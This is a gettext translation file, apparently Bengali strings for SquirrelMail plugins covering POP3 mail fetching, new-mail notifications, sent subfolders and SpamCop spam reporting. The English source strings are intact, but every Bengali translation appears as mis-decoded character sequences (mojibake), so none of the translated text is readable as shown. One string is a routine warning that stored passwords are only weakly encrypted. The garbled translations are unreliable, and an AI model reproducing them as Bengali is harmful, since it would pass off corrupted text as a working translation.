msgstr "POP āĻŦāĻ¨ā§āϧ āĻ•āϰāĻž āĻšāĻšā§āϛ⧇"

msgid "Logging out from IMAP"
msgstr "IMAP āĻĨ⧇āϕ⧇ āĻŦāĻ¨ā§āϧ āĻ•āϰ⧇ āĻĻ⧇āĻ“ā§ŸāĻž āĻšāĻšā§āϛ⧇"

msgid "Message appended to mailbox"
msgstr "āĻŦāĻžāĻ°ā§āϤāĻžāϟāĻŋ āϚāĻŋāĻ āĻŋ āϰāĻžāĻ–āĻžāϰ āĻŦāĻžāĻ•ā§āϏ⧇āϰ āĻļ⧇āώ⧇ āϝ⧁āĻ•ā§āϤ āĻ•āϰāĻž āĻšā§Ÿā§‡āϛ⧇"

#, php-format
msgid "Message %d deleted from remote server!"
msgstr "āĻĻā§‚āϰāĻŦāĻ°ā§āϤ⧀ āϏāĻžāĻ°ā§āĻ­āĻžāϰ āĻšāϤ⧇ %d āĻŦāĻžāĻ°ā§āϤāĻž āĻŽā§āϛ⧇ āĻĢ⧇āϞāĻž āĻšā§Ÿā§‡āϛ⧇!"

msgid "Delete failed:"
msgstr "āĻŽā§āϛ⧇ āĻĢ⧇āϞāĻž āĻŦā§āϝāĻ°ā§āĻĨ:"

msgid "Remote POP server settings"
msgstr "āĻĻā§‚āϰ⧇āϰ POP āϏāĻžāĻ°ā§āĻ­āĻžāϰ āĻŽāĻžāύāϏāĻŽā§‚āĻš"

msgid ""
"You should be aware that the encryption used to store your password is not "
"perfectly secure. However, if you are using pop, there is inherently no "
"encryption anyway. Additionally, the encryption that we do to save it on the "
"server can be undone by a hacker reading the source to this file."
msgstr ""
"āφāĻĒāύāĻžāϰ āϏāĻžāĻŦāϧāĻžāύ āĻšāĻ“ā§ŸāĻž āωāϚāĻŋāϤ āϝ⧇ āφāĻĒāύāĻŋ āφāĻĒāύāĻžāϰ āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄ āϏāĻ‚āϰāĻ•ā§āώāύ⧇ āϝ⧇ āĻāύāĻ•ā§ƒāĻĒāĻļāύ āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰāϛ⧇āύ "
"āϤāĻž āĻĒ⧁āϰ⧋āĻĒ⧁āϰāĻŋ āύāĻŋāϰāĻžāĻĒāĻĻ āύ⧟āĨ¤ āĻ•āĻŋāĻ¨ā§āϤ⧁ āφāĻĒāύāĻŋ āϝāĻĻāĻŋ āĻĒāĻĒ āĻĄāĻžāĻ•āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻž āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰ⧇āύ, āϤāĻž āĻšāϞ⧇ āϤ⧋ "
"āĻāĻŽāύāĻŋāϤ⧇āχ āϕ⧋āύ⧋ āĻāύāĻ•ā§ƒāĻĒāĻļāύ āύ⧇āχ āĨ¤ āϤāĻžāϰ āωāĻĒāϰ, āφāĻŽāϰāĻž āϝ⧇ āĻāύāĻ•ā§ƒāĻĒāĻļāύ āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰ⧇ āϏāĻžāĻ°ā§āĻ­āĻžāϰ⧇ āĻāϟāĻŋāϕ⧇ "
"āϏāĻ‚āϰāĻ•ā§āώāύ āĻ•āϰāĻ›āĻŋ āϏ⧇āϟāĻŋ āĻ‰ā§ŽāϏ āĻĢāĻžāχāϞ āĻšāϤ⧇ āĻšā§āϝāĻžāĻ•āĻžāϰāϰāĻž āĻĒā§œā§‡ āĻĢ⧇āϞāϤ⧇ āĻĒāĻžāϰ⧇āĨ¤"

msgid "If you leave password empty, it will be asked when you fetch mail."
msgstr ""
"āφāĻĒāύāĻŋ āϝāĻĻāĻŋ āĻāĻ–āύ⧇āϰ āĻŽāϤ āĻĒāϰāĻŋāϚ⧟-āĻĒā§āϰāĻŽāĻžāĻŖ āĻŦāĻžāĻ•ā§āϝ⧇āϰ āϜāĻžā§ŸāĻ—āĻžāϟāĻž āĻ–āĻžāϞāĻŋ āϰ⧇āϖ⧇ āĻĻ⧇āύ, āϤāĻžāĻšāϞ⧇ āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄāϟāĻŋ "
"āϚāĻŋāĻ āĻŋ āφāύāĻžāϰ āϏāĻŽā§Ÿ āĻĻāĻŋāϤ⧇ āĻšāĻŦ⧇āĨ¤"

msgid "Encrypt passwords (informative only)"
msgstr "āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄāϗ⧁āϞ⧋ āĻāύāĻ•ā§āϰāĻŋāĻĒā§āϟ āĻ•āϰ⧁āύ (āĻļ⧁āϧ⧁āĻŽāĻžāĻ¤ā§āϰ āϜāĻžāύāĻžāύ⧋āϰ āϜāĻ¨ā§āϝ)"

msgid "Add Server"
msgstr "āϏāĻžāĻ°ā§āĻ­āĻžāϰ āϝ⧋āĻ— āĻ•āϰ⧁āύ"

msgid "Server:"
msgstr "āϏāĻžāĻ°ā§āĻ­āĻžāϰ:"

msgid "Port:"
msgstr "āĻĒā§‹āĻ°ā§āϟ:"

msgid "Alias:"
msgstr "āωāĻĒāύāĻžāĻŽ:"

msgid "Username:"
msgstr "āĻŦā§āϝāĻŦāĻšāĻžāϰāĻ•āĻžāϰ⧀āϰ āύāĻžāĻŽ:"

msgid "Store in Folder:"
msgstr "āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ⧇ āϏāĻ‚āϰāĻ•ā§āώāĻŖ āĻ•āϰ⧁āύ:"

msgid "Leave mail on server"
msgstr "āϏāĻžāĻ°ā§āĻ­āĻžāϰ⧇ āϚāĻŋāĻ āĻŋ āĻĢ⧇āϞ⧇ āφāϏ⧁āύ"

msgid "Check mail at login"
msgstr "āϞāĻ—āχāύ⧇āϰ āϏāĻŽā§Ÿ āϚāĻŋāĻ āĻŋ āĻĒāϰ⧀āĻ•ā§āώāĻž āĻ•āϰ⧁āύ"

msgid "Check mail at folder refresh"
msgstr "āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ āϏāϤ⧇āϜ āĻ•āϰāĻžāϰ āϏāĻŽā§Ÿ āϚāĻŋāĻ āĻŋ āĻĒāϰ⧀āĻ•ā§āώāĻž āĻ•āϰ⧁āύ"

msgid "Modify Server"
msgstr "āϏāĻžāĻ°ā§āĻ­āĻžāϰ āĻĒāϰāĻŋāĻŦāĻ°ā§āϤāύ āĻ•āϰ⧁āύ"

msgid "Server Name:"
msgstr "āϏāĻžāĻ°ā§āĻ­āĻžāϰ āĻāϰ āύāĻžāĻŽ:"

msgid "Modify"
msgstr "āĻĒāϰāĻŋāĻŦāĻ°ā§āϤāύ āϏāĻžāϧāύ āĻ•āϰ⧁āύ"

msgid "No servers known."
msgstr "āϕ⧋āύ āĻĒāϰāĻŋāϚāĻŋāϤ āϏāĻžāĻ°ā§āĻ­āĻžāϰ āύ⧇āχāĨ¤"

msgid "Fetching Servers"
msgstr "āϏāĻžāϰāĻ­āĻžāϰāϗ⧁āϞ⧋ āφāύāĻž āĻšāĻšā§āϛ⧇"

msgid "Confirm Deletion of a Server"
msgstr "āϏāĻžāĻ°ā§āĻ­āĻžāϰ āĻŽā§āϛ⧇ āĻĢ⧇āϞāĻž āύāĻŋāĻļā§āϚāĻŋāϤ āĻ•āϰ⧁āύ"

msgid "Selected Server:"
msgstr "āύāĻŋāĻ°ā§āĻŦāĻžāϚāĻŋāϤ āϏāĻžāĻ°ā§āĻ­āĻžāϰ:"

msgid "Confirm delete of selected server?"
msgstr "āύāĻŋāĻ°ā§āĻŦāĻžāϚāĻŋāϤ āϏāĻžāĻ°ā§āĻ­āĻžāϰ āĻŽā§āϛ⧇ āĻĢ⧇āϞāϤ⧇ āĻ•āĻŋ āύāĻŋāĻļā§āϚāĻŋāϤ?"

msgid "Confirm Delete"
msgstr "āĻŽā§āϛ⧇ āĻĢ⧇āϞāĻž āύāĻŋāĻļā§āϚāĻŋāϤ āĻ•āϰ⧁āύ"

msgid "Leave Mail on Server"
msgstr "āϏāĻžāĻ°ā§āĻ­āĻžāϰ⧇ āϚāĻŋāĻ āĻŋ āϰ⧇āϖ⧇ āφāϏ⧁āύ"

msgid "Undefined Function"
msgstr "āĻ…āύ⧁āĻ˛ā§āϞ⧇āĻ–āĻŋāϤ āĻ•āĻžāĻ°ā§āϝ"

msgid "The function you requested is unknown."
msgstr "āφāĻĒāύāĻŋ āĻ…āϜāĻžāύāĻž āĻ•āĻžāĻ°ā§āϝ āĻ…āύ⧁āϰ⧋āϧ āĻ•āϰ⧇āϛ⧇āύāĨ¤"

msgid "Fetch"
msgstr "āύāĻŋā§Ÿā§‡ āφāϏ⧁āύ"

msgid "Warning, "
msgstr "āϏāϤāĻ°ā§āĻ•āĻŦāĻžāĻŖā§€,"

msgid "Mail Fetch Result:"
msgstr "āϚāĻŋāĻ āĻŋ āφāύāĻžāϰ āĻ…āύ⧁āϰ⧋āϧāĻŦāĻžāĻ•ā§āϝ⧇āϰ āĻĢāϞāĻžāĻĢāϞ:"

msgid "POP3 Fetch Mail"
msgstr "POP3 āĻ—āĻŋā§Ÿā§‡ āύāĻŋā§Ÿā§‡ āφāϏāĻž āĻĄāĻžāĻ•-āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻž"

msgid ""
"This configures settings for downloading email from a POP3 mailbox to your "
"account on this server."
msgstr ""
"āĻāĻ–āĻžāύ⧇ POP3 āĻĄāĻžāĻ•āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻžāĻĒāϕ⧇āϰ āĻ•āĻžāĻ› āĻĨ⧇āϕ⧇ āφāĻĒāύāĻžāϰ āϚāĻŋāĻ āĻŋ āĻāχ āϏāĻžāĻ°ā§āĻ­āĻžāϰ⧇ āύāĻžāĻŽāĻŋā§Ÿā§‡ āφāύāĻž āϏāĻ‚āĻ•ā§āϰāĻžāĻ¨ā§āϤ "
"āύāĻŋ⧟āĻŽāĻžāĻŦāϞ⧀ āĻ āĻŋāĻ• āĻ•āϰ⧇ āĻĻ⧇āĻ“ā§ŸāĻž āϝāĻžā§ŸāĨ¤"

msgid "Message Details"
msgstr "āĻŦāĻžāĻ°ā§āϤāĻžāϰ āĻŦāĻŋāĻ¸ā§āϤāĻžāϰāĻŋāϤ"

msgid "Bodystructure"
msgstr "āĻŽā§‚āϞāĻ—āĻ āύ"

msgid "Entity"
msgstr "āĻ…āĻ¸ā§āϤāĻŋāĻ¤ā§āĻŦ"

msgid "Content-Type"
msgstr "āωāĻĒāĻžāĻĻāĻžāύ-āϧāϰāĻŖ"

msgid "Encoding"
msgstr "āĻāύāϕ⧋āĻĄāĻŋāĻ‚"

msgid "RFC822 Message body"
msgstr "RFC822 āĻŦāĻžāĻ°ā§āϤāĻžāϰ āĻŽā§‚āϞ āĻ…āĻ‚āĻļ"

msgid "Close Window"
msgstr "āωāχāĻ¨ā§āĻĄā§‹ āĻŦāĻ¨ā§āϧ āĻ•āϰ⧁āύ"

msgid "Save Message"
msgstr "āĻŦāĻžāĻ°ā§āϤāĻžāϟāĻŋ āϏāĻ‚āϰāĻ•ā§āώāύ āĻ•āϰ⧁āύ"

msgid "View Message details"
msgstr "āĻŦāĻžāĻ°ā§āϤāĻžāϟāĻŋāϰ āĻŦāĻŋāĻ¸ā§āϤāĻžāϰāĻŋāϤ āĻŦāĻ°ā§āĻŖāύāĻž āĻĻ⧇āĻ–āĻžāύ⧋"

msgid "New Mail Notification"
msgstr "āύāϤ⧁āύ āϚāĻŋāĻ āĻŋāϰ āĻŦāĻŋāĻœā§āĻžāĻĒā§āϤāĻŋ āĻĒā§āϰāĻĻāĻžāύ"

#, php-format
msgid ""
"The %s option will check ALL of your folders for unseen mail, not just the "
"inbox for notification."
msgstr ""
"%s āĻĒāĻ›āĻ¨ā§āĻĻāϟāĻŋ āĻļ⧁āϧ⧁āĻŽāĻžāĻ¤ā§āϰ āφāĻ—āϤ āĻŦāĻžāĻ•ā§āϏ⧇ āĻŦāĻŋāĻœā§āĻžāĻĒā§āϤāĻŋ āĻĒā§āϰāĻĻāĻžāύ āĻ•āϰāĻŦ⧇ āύāĻž āĻŦāϰāĻ‚ āĻ…āĻĻ⧇āĻ–āĻž āϚāĻŋāĻ āĻŋāϰ āϜāĻ¨ā§āϝ āφāĻĒāύāĻžāϰ "
"āϏāĻŦ āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ āĻĒāϰ⧀āĻ•ā§āώāĻž āĻ•āϰāĻŦ⧇āĨ¤"

msgid "Check all boxes, not just INBOX"
msgstr "āύāϤ⧁āύ āϚāĻŋāĻ āĻŋ āĻāϞ āĻ•āĻŋāύāĻž āϏāĻŦ āĻŦāĻžāĻ•ā§āϏ⧇ āĻĒāϰ⧀āĻ•ā§āώāĻž āĻ•āϰ⧁āύ (āĻļ⧁āϧ⧁ āϚāĻŋāĻ āĻŋ āφāϏāĻžāϰ āĻŦāĻžāĻ•ā§āϏ⧇ āύ⧟)"

#, php-format
msgid ""
"Selecting the %s option will enable the showing of a popup window when "
"unseen mail is in your folders (requires JavaScript)."
msgstr ""
"%s āύāĻŋāĻ°ā§āĻŦāĻžāϚāύ āĻ•āϰāϞ⧇, āϝāĻ–āύ āφāĻĒāύāĻžāϰ āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ⧇ āĻ…āĻĻ⧇āĻ–āĻž āϚāĻŋāĻ āĻŋ āĻĻ⧇āĻ–āĻžāϤ⧇ āĻāĻ•āϟāĻŋ āĻĒāĻĒāφāĻĒ āωāχāĻ¨ā§āĻĄā§‹ āϏāĻ•ā§āϰāĻŋ⧟ "
"āĻ•āϰāĻŦ⧇ (āĻāϟāĻž āĻ•āĻžāϜ āĻ•āϰāĻžāϰ āϜāĻ¨ā§āϝ āϜāĻžāĻ­āĻžāϞāĻŋāĻĒāĻŋ āϞāĻžāĻ—āĻŦ⧇)āĨ¤"

msgid "Show popup window on new mail"
msgstr "āύāϤ⧁āύ āϚāĻŋāĻ āĻŋ āĻāϞ⧇ āϝ⧇āύ āφāϞāĻžāĻĻāĻž āĻāĻ•āϟāĻž āĻŦāĻžāĻ°ā§āϤāĻžāĻŦāĻžāĻšā§€ āωāχāĻ¨ā§āĻĄā§‹ āϖ⧁āϞ⧇ āϜāĻžāύāĻžāύ⧋ āĻšā§Ÿ"

#, php-format
msgid ""
"Use the %s option to only check for messages that are recent. Recent "
"messages are those that have just recently showed up and have not been "
"\"viewed\" or checked yet. This can prevent being continuously annoyed by "
"sounds or popups for unseen mail."
msgstr ""
"āĻļ⧁āϧ⧁āĻŽāĻžāĻ¤ā§āϰ āϏāĻžāĻŽā§āĻĒā§āϰāϤāĻŋāĻ•āϗ⧁āϞ⧋ āĻŦāĻžāĻ°ā§āϤāĻžāϗ⧁āϞ⧋ āĻĒāϰ⧀āĻ•ā§āώāĻž āĻ•āϰāϤ⧇ %s āĻĒāĻ›āĻ¨ā§āĻĻ āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰ⧁āύāĨ¤ āĻāĻŽāύ āĻ āĻŋāĻ• āĻ•āϰ⧇ āĻĻāĻŋāϞ⧇ "
"āĻļ⧁āϧ⧁āĻŽāĻžāĻ¤ā§āϰ āϝ⧇āϏāĻŦ āϚāĻŋāĻ āĻŋ āĻāχāĻŽāĻžāĻ¤ā§āϰ āĻĻ⧇āĻ–āĻžāύ⧋ āĻšāϞ āĻāĻŦāĻ‚ āĻāϰ āφāϗ⧇ āĻĻ⧇āĻ–āĻž āĻŦāĻž āĻĒāϰ⧀āĻ•ā§āώāĻž āĻ•āϰāĻž āĻšā§Ÿ āύāĻŋ "
"āϏ⧇āϗ⧁āϞāĻŋāϤ⧇ āĻĒāϰ⧀āĻ•ā§āώāĻž āĻ•āϰāĻž āĻšāĻŦ⧇āĨ¤ āĻāϟāĻž āĻ•āϰāϞ⧇ āĻŦāĻžāϰ āĻŦāĻžāϰ āύāϤ⧁āύ āϚāĻŋāĻ āĻŋ āφāϏāĻž āϜāĻžāύāĻžāύ āĻĻ⧇āĻŦāĻžāϰ āĻŦāĻžāϜāύāĻž āĻŦāĻž "
"āĻŦāĻžāĻ°ā§āϤāĻžāĻŦāĻžāĻšā§€ āĻĒāĻžāϤāĻž āĻ–ā§‹āϞāĻž āĻšāĻŦāĻžāϰ āĻŦāĻŋāϰāĻ•ā§āϤāĻŋ āĻĨ⧇āϕ⧇ āύāĻŋāĻ¸ā§āϤāĻžāϰ āĻĒāĻžāĻ“ā§ŸāĻž āϝāĻžāĻŦ⧇āĨ¤"

msgid "Count only messages that are RECENT"
msgstr "āĻļ⧁āϧ⧁āĻŽāĻžāĻ¤ā§āϰ āϏāĻžāĻŽā§āĻĒā§āϰāϤāĻŋāĻ• āϚāĻŋāĻ āĻŋāϗ⧁āϞ⧋ āĻ—āύāύāĻž āĻšā§‹āĻ•"

#, php-format
msgid ""
"Selecting the %s option will change the title in some browsers to let you "
"know when you have new mail (requires JavaScript). This will always tell you "
"if you have new mail, even if you have %s enabled."
msgstr ""
"%s āĻĒāĻ›āĻ¨ā§āĻĻāϟāĻŋ āĻ āĻŋāĻ• āĻ•āϰ⧇ āĻĻāĻŋāϞ⧇ āφāĻĒāύāĻŋ āύāϤ⧁āύ āϚāĻŋāĻ āĻŋ āĻāϞ⧇ āϝ⧁āĻ•ā§āϤāĻĒāĻ¤ā§āϰ āĻĒā§āϰāĻĻāĻ°ā§āĻļāϕ⧇āϰ āĻļāĻŋāϰ⧋āύāĻžāĻŽā§‡ āϞ⧇āĻ–āĻž āωāĻ āĻŦ⧇ "
"(āĻāϟāĻž āĻ āĻŋāĻ•āĻŽāϤ āĻ•āĻžāϜ āĻ•āϰāĻžāϰ āϜāĻ¨ā§āϝ āϜāĻžāĻ­āĻžāϞāĻŋāĻĒāĻŋ āĻĨāĻžāĻ•āϤ⧇ āĻšāĻŦ⧇)āĨ¤ āϝāĻĻāĻŋ āφāĻĒāύāĻžāϰ %s āϏāĻ•ā§āϰāĻŋ⧟ āĻ•āϰāĻž āĻĨāĻžāϕ⧇, "
"āϤāĻŦ⧇ āύāϤ⧁āύ āϚāĻŋāĻ āĻŋ āĻāϞ⧇āχ āφāĻĒāύāĻžāϕ⧇ āϜāĻžāύāĻžāύ āĻĻ⧇āĻŦ⧇āĨ¤"

msgid "Change title on supported browsers"
msgstr "āϏāĻŽāĻ°ā§āĻĨāĻŋāϤ āĻŦā§āϰāĻžāωāϜāĻžāϰ⧇āϰ āĻļāĻŋāϰ⧋āύāĻžāĻŽ āĻĒāϰāĻŋāĻŦāĻ°ā§āϤāύ āĻ•āϰ⧁āύ"

#, php-format
msgid ""
"Select %s to turn on playing a media file when unseen mail is in your "
"folders. When enabled, you can specify the media file to play in the "
"provided file box."
msgstr ""
"%s āϚāĻŋāĻšā§āύāĻŋāϤ āĻ•āϰ⧇ āĻĻāĻŋāϞ⧇ āφāĻĒāύāĻžāϰ āϕ⧋āύ āϚāĻŋāĻ āĻŋ āϰāĻžāĻ–āĻžāϰ āĻŦāĻžāĻ•ā§āϏ⧇ āϝāĻĻāĻŋ āύāĻž āĻĒāĻĄāĻŧāĻž āϚāĻŋāĻ āĻŋ āĻĨ⧇āϕ⧇ āĻĨāĻžāϕ⧇ "
"āϤāĻžāĻšāϞ⧇ āĻŦāĻžāϜāύāĻž āĻŦāĻžāϜāĻžāύ⧋ āĻšāĻŦ⧇āĨ¤ āϕ⧋āύ āĻŦāĻžāϜāύāĻž āĻŦāĻžāϜāĻžāύ⧋ āĻšāĻŦ⧇ āϏ⧇āϟāĻžāϰ āĻĢāĻžāχāϞ āφāĻĒāύāĻŋ āĻĒāĻ›āĻ¨ā§āĻĻ āĻ•āϰ⧇ āĻĻāĻŋāϤ⧇ "
"āĻĒāĻžāϰ⧇āύāĨ¤"

msgid "Enable Media Playing"
msgstr "āĻ—āĻžāύ/āĻŦāĻžāϜāύāĻž/āĻ›āĻŦāĻŋ āĻĻ⧇āĻ–āĻžāύ⧋āϰ āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻž āϏāĻ•ā§āϰāĻŋ⧟ āĻ•āϰ⧁āύ"

#, php-format
msgid ""
"Select from the list of %s the media file to play when new mail arrives. If "
"no file is specified, %s, no sound will be used."
msgstr ""
"%1$s āĻĢāĻžāχāϞ⧇āϰ āϤāĻžāϞāĻŋāĻ•āĻžāϤ⧇ āĻĻ⧇āĻ–āĻŋā§Ÿā§‡ āĻĻāĻŋāύ āύāϤ⧁āύ āϚāĻŋāĻ āĻŋ āĻāϞ⧇ āϕ⧋āύ āĻŦāĻžāϜāύāĻžāϟāĻž āĻŦāĻžāϜāĻžāύ⧋ āĻšāĻŦ⧇āĨ¤ āφāĻĒāύāĻŋ "
"āϝāĻĻāĻŋ āϕ⧋āύāϟāĻžāχ āύāĻž āĻ āĻŋāĻ• āĻ•āϰ⧇ āĻĻ⧇āύ, %2$s, āϤāĻžāĻšāϞ⧇ āĻŦāĻžāϜāύāĻž āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰāĻž āĻšāĻŦ⧇ āύāĻžāĨ¤"

msgid "Select server file"
msgstr "āϏāĻžāĻ°ā§āĻ­āĻžāϰ āĻĢāĻžāχāϞ āύāĻŋāĻ°ā§āĻŦāĻžāϚāύ"

msgid "(none)"
msgstr "(āĻāĻ•āϟāĻŋāĻ“ āύāĻž)"

msgid "requires JavaScript to work"
msgstr "āĻŦā§āϝāĻŦāĻšāĻžāϰ⧇āϰ āϜāĻ¨ā§āϝ āϜāĻžāĻ­āĻžāϞāĻŋāĻĒāĻŋ (Javascript) āĻĒā§āĻ°ā§Ÿā§‹āϜāύ"

msgid "Width of popup window:"
msgstr "āĻĒāĻĒāφāĻĒ āωāχāĻ¨ā§āĻĄā§‹āϰ āĻĒā§āϰāĻ¸ā§āĻĨ:"

msgid "If set to 0, reverts to default value"
msgstr "āϝāĻĻāĻŋ ā§Ļ āϤ⧇ āύāĻŋāϝ⧁āĻ•ā§āϤ āĻ•āϰāĻž āĻšā§Ÿ, āϤāĻŦ⧇ āĻĒā§‚āĻ°ā§āĻŦāύāĻŋāĻ°ā§āϧāĻžāϰāĻŋāϤ āĻŽāĻžāύ⧇ āĻĒā§āϰāĻ¤ā§āϝāĻžāĻŦāĻ°ā§āϤāύ āĻ•āϰ⧇"

msgid "Height of popup window:"
msgstr "āĻĒāĻĒāφāĻĒ āωāχāĻ¨ā§āĻĄā§‹āϰ āωāĻšā§āϚāϤāĻž:"

msgid "Try"
msgstr "āĻšā§‡āĻˇā§āϟāĻž āĻ•āϰ⧁āύ"

msgid "Current File:"
msgstr "āĻŦāĻ°ā§āϤāĻŽāĻžāύ āĻĢāĻžāχāϞ:"

msgid "New Mail"
msgstr "āύāϤ⧁āύ āϚāĻŋāĻ āĻŋ"

msgid "SquirrelMail Notice:"
msgstr "SquirrelMail āĻŦāĻŋāĻœā§āĻžāĻĒā§āϤāĻŋ:"

#, php-format
msgid "You have %s new message"
msgid_plural "You have %s new messages"
msgstr[0] "āφāĻĒāύāĻŋ %s āύāϤ⧁āύ āĻŦāĻžāĻ°ā§āϤāĻž āĻĒā§‡ā§Ÿā§‡āϛ⧇āύ"
msgstr[1] "āφāĻĒāύāĻŋ %s āύāϤ⧁āύ āĻŦāĻžāĻ°ā§āϤāĻž āĻĒā§‡ā§Ÿā§‡āϛ⧇āύ"

#, php-format
msgid "You have %s new messages"
msgstr "%s āϗ⧁āϞ⧋ āύāϤ⧁āύ āĻŦāĻžāĻ°ā§āϤāĻž"

msgid "NewMail Options"
msgstr "āύāϤ⧁āύ āϚāĻŋāĻ āĻŋ āϏāĻ‚āĻ•ā§āϰāĻžāĻ¨ā§āϤ āύāĻŋ⧟āĻŽāĻžāĻŦāϞ⧀"

msgid ""
"This configures settings for playing sounds and/or showing popup windows "
"when new mail arrives."
msgstr ""
"āύāϤ⧁āύ āϚāĻŋāĻ āĻŋ āφāϏāϞ⧇ āĻŦāĻžāϜāύāĻž āĻŦāĻžāϜāĻžāύ⧋ āĻŦāĻž āύāϤ⧁āύ āĻĒāĻžāϤāĻž āϖ⧁āϞ⧇ āϜāĻžāύāĻžāύ⧋āϰ āύāĻŋ⧟āĻŽāĻžāĻŦāϞ⧀ āĻāĻ–āĻžāύ āĻĨ⧇āϕ⧇ āĻ āĻŋāĻ• "
"āĻ•āϰ⧇ āĻĻ⧇āĻ“ā§ŸāĻž āϝāĻžā§ŸāĨ¤"

#, php-format
msgid "%s New Messages"
msgstr "%s āύāϤ⧁āύ āĻŦāĻžāĻ°ā§āϤāĻž"

#, php-format
msgid "%s New Message"
msgid_plural "%s New Messages"
msgstr[0] "%sāϟāĻŋ āύāϤ⧁āύ āĻŦāĻžāĻ°ā§āϤāĻž"
msgstr[1] "%sāϗ⧁āϞ⧋ āύāϤ⧁āύ āĻŦāĻžāĻ°ā§āϤāĻž"

msgid "Test Sound"
msgstr "āĻļāĻŦā§āĻĻ āĻĒāϰ⧀āĻ•ā§āώāĻž āĻ•āϰ⧁āύ"

msgid "No sound specified"
msgstr "āĻ•āĻŋ āĻŦāĻžāϜāĻžāύ⧋ āĻšāĻŦ⧇ āĻŦāϞāĻž āĻšā§Ÿ āύāĻŋ"

msgid "Loading the sound..."
msgstr "āĻŦāĻžāϜāĻžāύ⧋āϰ āϜāĻ¨ā§āϝ āĻĒā§āϰāĻ¸ā§āϤ⧁āϤāĻŋ..."

msgid "Sent Subfolders Options"
msgstr "āĻĒāĻžāĻ āĻžāύ⧋ āωāĻĒāĻĢā§‹āĻ˛ā§āĻĄāĻžāϰāϗ⧁āϞ⧋āϰ āĻĒāĻ›āĻ¨ā§āĻĻāϏāĻŽā§‚āĻš"

msgid "Use Sent Subfolders"
msgstr "āĻĒāĻžāĻ āĻžāύ⧋ āωāĻĒāĻĢā§‹āĻ˛ā§āĻĄāĻžāϰāϗ⧁āϞ⧋ āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰ⧁āύ"

msgid "Monthly"
msgstr "āĻŽāĻžāϏāĻŋāĻ•"

msgid "Quarterly"
msgstr "āĻ¤ā§āϰ⧈āĻŽāĻžāϏāĻŋāĻ•"

msgid "Yearly"
msgstr "āĻŦāĻžā§ŽāϏāϰāĻŋāĻ•"

msgid "Base Sent Folder"
msgstr "āĻŽā§‚āϞ āĻĒāĻžāĻ āĻžāύ⧋ āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ"

msgid "Enabled"
msgstr "āϏāĻ•ā§āϰāĻŋ⧟"

msgid "Disable it"
msgstr "āύāĻŋāĻˇā§āĻ•ā§āϰāĻŋ⧟ āĻ•āϰ⧁āύ"

msgid "Enable it"
msgstr "āϏāĻ•ā§āϰāĻŋ⧟ āĻ•āϰ⧁āύ"

msgid "Spam reporting"
msgstr "āĻ¸ā§āĻĒā§āϝāĻžāĻŽ āĻĒā§āϰāϤāĻŋāĻŦ⧇āĻĻāύ"

msgid "SpamCop link is:"
msgstr "āĻ¸ā§āĻĒā§āϝāĻžāĻŽāĻ•āĻĒ (SpamCop) āĻāϰ āϞāĻŋāĻ‚āĻ• āĻšāϞ⧋:"

msgid "Delete spam when reported:"
msgstr "āĻĒā§āϰāϤāĻŋāĻŦ⧇āĻĻāύ āĻ•āϰāĻžāϰ āĻĒāϰ āĻ¸ā§āĻĒā§āϝāĻžāĻŽ āĻŽā§āϛ⧇ āĻĢ⧇āϞ⧁āύ:"

msgid "Only works with email-based reporting"
msgstr "āĻļ⧁āϧ⧁āĻŽāĻžāĻ¤ā§āϰ āχāĻŽā§‡āχāϞ⧇āϰ āωāĻĒāϰ āĻ­āĻŋāĻ¤ā§āϤāĻŋ āĻ•āϰ⧇ āĻĒā§āϰāϤāĻŋāĻŦ⧇āĻĻāύ⧇āϰ āϏāĻžāĻĨ⧇ āĻ•āĻžāϜ āĻ•āϰ⧇"

msgid "Spam Reporting Method:"
msgstr "āĻ¸ā§āĻĒā§āϝāĻžāĻŽ āĻĒā§āϰāϤāĻŋāĻŦ⧇āĻĻāύ⧇āϰ āĻĒāĻĻā§āϧāϤāĻŋ:"

msgid "Quick email-based reporting"
msgstr "āĻĻā§āϰ⧁āϤ - āχāĻŽā§‡āχāϞ āĻĻāĻŋā§Ÿā§‡ āĻĒā§āϰāϤāĻŋāĻŦ⧇āĻĻāύ"

msgid "Thorough email-based reporting"
msgstr "āĻŦāĻŋāĻ¸ā§āϤāĻžāϰāĻŋāϤ - āχāĻŽā§‡āχāϞ āĻĻāĻŋā§Ÿā§‡ āĻĒā§āϰāϤāĻŋāĻŦ⧇āĻĻāύ"

msgid "Web-based form"
msgstr "āĻ“ā§Ÿā§‡āĻŦ⧇āϰ āωāĻĒāϰ āĻ­āĻŋāĻ¤ā§āϤāĻŋ āĻ•āϰ⧇ āĻĢāϰāĻŽ"

msgid "Save Method"
msgstr "āϏāĻ‚āϰāĻ•ā§āώāύ āĻ•āϰāĻžāϰ āĻĒāĻĻā§āϧāϤāĻŋ"

msgid "Your SpamCop authorization code:"
msgstr "āĻ¸ā§āĻĒā§āϝāĻžāĻŽāĻ•āĻĒ (SpamCop) āĻŦā§āϝāĻŦāĻšāĻžāϰ⧇āϰ āϜāĻ¨ā§āϝ āĻ¸ā§āĻĒā§āϝāĻžāĻŽāĻ•āĻĒ⧇āϰ āĻĻ⧇āĻ“ā§ŸāĻž āĻĒāϰāĻŋāϚāĻžā§ŸāĻ• āϕ⧋āĻĄ:"

msgid "see below"
msgstr "āύ⧀āĻšā§‡ āĻĻ⧇āϖ⧁āύ"

msgid "Save ID"
msgstr "āφāχāĻĄāĻŋ, āĻĒāϰāĻŋāϚ⧟āĻĒāĻ¤ā§āϰ āϏāĻ‚āϰāĻ•ā§āώāύ āĻ•āϰ⧁āύ"

msgid "About SpamCop"
